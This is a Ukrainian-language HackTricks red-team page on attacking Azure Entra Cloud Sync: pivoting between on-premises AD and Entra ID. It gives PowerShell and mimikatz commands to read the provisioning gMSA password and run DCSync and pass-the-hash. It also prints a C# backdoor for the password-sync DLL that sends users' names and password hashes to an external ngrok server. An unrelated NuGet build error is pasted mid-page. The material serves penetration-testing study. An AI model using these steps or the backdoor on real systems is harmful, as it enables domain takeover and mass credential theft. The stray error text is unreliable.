Az - Cloud Sync

Reading time: 8 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Основна інформація

Cloud Sync - це новий спосіб Azure для синхронізації користувачів з AD в Entra ID.

З документації: Microsoft Entra Cloud Sync - це нова пропозиція від Microsoft, розроблена для досягнення ваших цілей гібридної ідентичності для синхронізації користувачів, груп і контактів до Microsoft Entra ID. Це досягається за допомогою агента постачання Microsoft Entra в хмарі замість програми Microsoft Entra Connect. Однак його можна використовувати разом з Microsoft Entra Connect Sync.

Згенеровані принципали

Для того, щоб це працювало, деякі принципали створюються як в Entra ID, так і в локальному каталозі:

  • В Entra ID створюється користувач On-Premises Directory Synchronization Service Account (ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com) з роллю Directory Synchronization Accounts (d29b2b05-8046-44ba-8758-1e26182fcf32).

warning

Ця роль раніше мала багато привілейованих дозволів, і її можна було використовувати для ескалації привілеїв навіть до глобального адміністратора. Однак Microsoft вирішила видалити всі привілеї цієї ролі та призначити лише нову microsoft.directory/onPremisesSynchronization/standard/read, яка насправді не дозволяє виконувати жодні привілейовані дії (такі як зміна пароля або атрибутів користувача або додавання нових облікових даних до SP).

  • В Entra ID також створюється група AAD DC Administrators без членів або власників. Ця група корисна, якщо використовується Microsoft Entra Domain Services.

  • В AD або створюється обліковий запис служби provAgentgMSA з SamAcountName, як pGMSA_<id>$@domain.com (Get-ADServiceAccount -Filter * | Select Name,SamAccountName), або користувацький, з цими дозволами. Зазвичай створюється за замовчуванням.

warning

Серед інших дозволів обліковий запис служби provAgentgMSA має дозволи DCSync, що дозволяє будь-кому, хто його скомпрометує, скомпрометувати весь каталог. Для отримання додаткової інформації про DCSync перегляньте це.

note

За замовчуванням користувачі відомих привілейованих груп, таких як Domain Admins, з атрибутом adminCount до 1 не синхронізуються з Entra ID з міркувань безпеки. Однак інші користувачі, які є частиною привілейованих груп без цього атрибута або які мають високі привілеї безпосередньо, можуть бути синхронізовані.

Синхронізація паролів

Цей розділ дуже схожий на той, що з:

Az - Connect Sync

  • Синхронізація хешів паролів може бути увімкнена, щоб користувачі могли увійти в Entra ID, використовуючи свої паролі з AD. Більше того, коли пароль змінюється в AD, він буде оновлений в Entra ID.
  • Запис паролів також може бути увімкнений, що дозволяє користувачам змінювати свій пароль в Entra ID, автоматично синхронізуючи їх пароль в локальному домені. Але відповідно до поточних документів, для цього потрібно використовувати Connect Agent, тому зверніть увагу на розділ Az Connect Sync для отримання додаткової інформації.
  • Запис груп: Ця функція дозволяє синхронізувати членство груп з Entra ID назад до локального AD. Це означає, що якщо користувача додають до групи в Entra ID, його також додадуть до відповідної групи в AD.

Півотування

AD --> Entra ID

  • Якщо користувачі AD синхронізуються з AD в Entra ID, півотування з AD в Entra ID є простим, просто скомпрометуйте пароль деякого користувача або змініть пароль деякого користувача або створіть нового користувача і чекайте, поки його синхронізують в каталог Entra ID (зазвичай лише кілька хвилин).

Отже, ви могли б, наприклад:

  • Скомпрометувати обліковий запис provAgentgMSA, виконати атаку DCSync, зламати пароль деякого користувача, а потім використовувати його для входу в Entra ID.
  • Просто створити нового користувача в AD, почекати, поки його синхронізують в Entra ID, а потім використовувати його для входу в Entra ID.
  • Змінити пароль деякого користувача в AD, почекати, поки його синхронізують в Entra ID, а потім використовувати його для входу в Entra ID.

Щоб скомпрометувати облікові дані provAgentgMSA:

powershell
# Enumerate provAgentgMSA account
Get-ADServiceAccount -Filter * -Server domain.local
# Find who can read the password of the gMSA (usually only the DC computer account)
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword

# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
lsadump::dcsync /domain:domain.local /user:<dc-name>$
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"

# Or you can change who can read the password of the gMSA account to all domain admins for example:
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'

# Read the password of the gMSA
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'

#Install-Module -Name DSInternals
#Import-Module DSInternals
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword

Тепер ви можете використовувати хеш gMSA для виконання атаки Pass-the-Hash проти Entra ID, використовуючи обліковий запис provAgentgMSA і підтримувати постійність, маючи можливість виконувати атаки DCSync проти AD.

Для отримання додаткової інформації про те, як скомпрометувати Active Directory, перегляньте:

Active Directory Methodology - HackTricks

note

Зверніть увагу, що немає жодного способу надати ролі Azure або EntraID синхронізованим користувачам на основі їх атрибутів, наприклад, у конфігураціях Cloud Sync. Однак, щоб автоматично надати дозволи синхронізованим користувачам, деякі групи Entra ID з AD можуть отримати дозволи, щоб синхронізовані користувачі в цих групах також їх отримали, або можуть бути використані динамічні групи, тому завжди перевіряйте динамічні правила та потенційні способи їх зловживання:

Az - Dynamic Groups Privesc

Щодо постійності, цей блог пропонує, що можливо використовувати dnSpy для створення бекдору в dll Microsoft.Online.Passwordsynchronisation.dll, розташованій у C:\Program Files\Microsoft Azure AD Sync\Bin, яка використовується агентом Cloud Sync для виконання синхронізації паролів, змушуючи її ексфільтрувати хеші паролів користувачів, які синхронізуються, на віддалений сервер. Хеші генеруються в класі PasswordHashGenerator, і в блозі пропонується додати деякий код, щоб клас виглядав так (зверніть увагу на use System.Net і використання WebClient для ексфільтрації хешів паролів):

csharp
using System;
using System.Net;
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;

namespace Microsoft.Online.PasswordSynchronization
{
// Token: 0x0200003E RID: 62
public class PasswordHashGenerator : ClearPasswordHashGenerator
{
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
{
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
try
{
using (WebClient webClient = new WebClient())
{
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
}
}
catch (Exception)
{
}
return new PasswordHashData
{
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
RawHash = passwordHashData.RawHash
};
}
}
}

NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'. C:\Program Files (x86)\Microsoft SDKs\NuGetPackages: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages'. . Please see Error List window for detailed warnings and errors.

Entra ID --> AD

  • Якщо Password Writeback увімкнено, ви можете змінити пароль деяких користувачів з Entra ID, і якщо у вас є доступ до мережі AD, підключитися, використовуючи їх. Для отримання додаткової інформації перегляньте розділ Az Connect Sync section, оскільки функція скидання пароля налаштовується за допомогою цього агента.

  • На даний момент Cloud Sync також дозволяє "Microsoft Entra ID to AD", але після тривалого часу я виявив, що він НЕ МОЖЕ синхронізувати користувачів EntraID з AD і що він може синхронізувати лише користувачів з EntraID, які були синхронізовані з хешем пароля і походять з домену, що належить до того ж лісу доменів, до якого ми синхронізуємо, як ви можете прочитати в https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits:

  • Ці групи можуть містити лише синхронізованих користувачів з локальних систем і/або додаткові групи безпеки, створені в хмарі.
  • Локальні облікові записи користувачів, які синхронізовані і є членами цієї групи безпеки, створеної в хмарі, можуть бути з одного домену або міждоменними, але всі вони повинні бути з одного лісу.

Отже, поверхня атаки (і корисність) цього сервісу значно зменшена, оскільки зловмисник повинен зламати початковий AD, з якого синхронізуються користувачі, щоб зламати користувача в іншому домені (і обидва, очевидно, повинні бути в одному лісі).

Enumeration

bash
# Check for the gMSA SA
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"

# Get all the configured cloud sync agents (usually one per on-premise domain)
## In the machine name of each you can infer the name of the domain
az rest \
--method GET \
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
--headers "Content-Type=application/json"

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks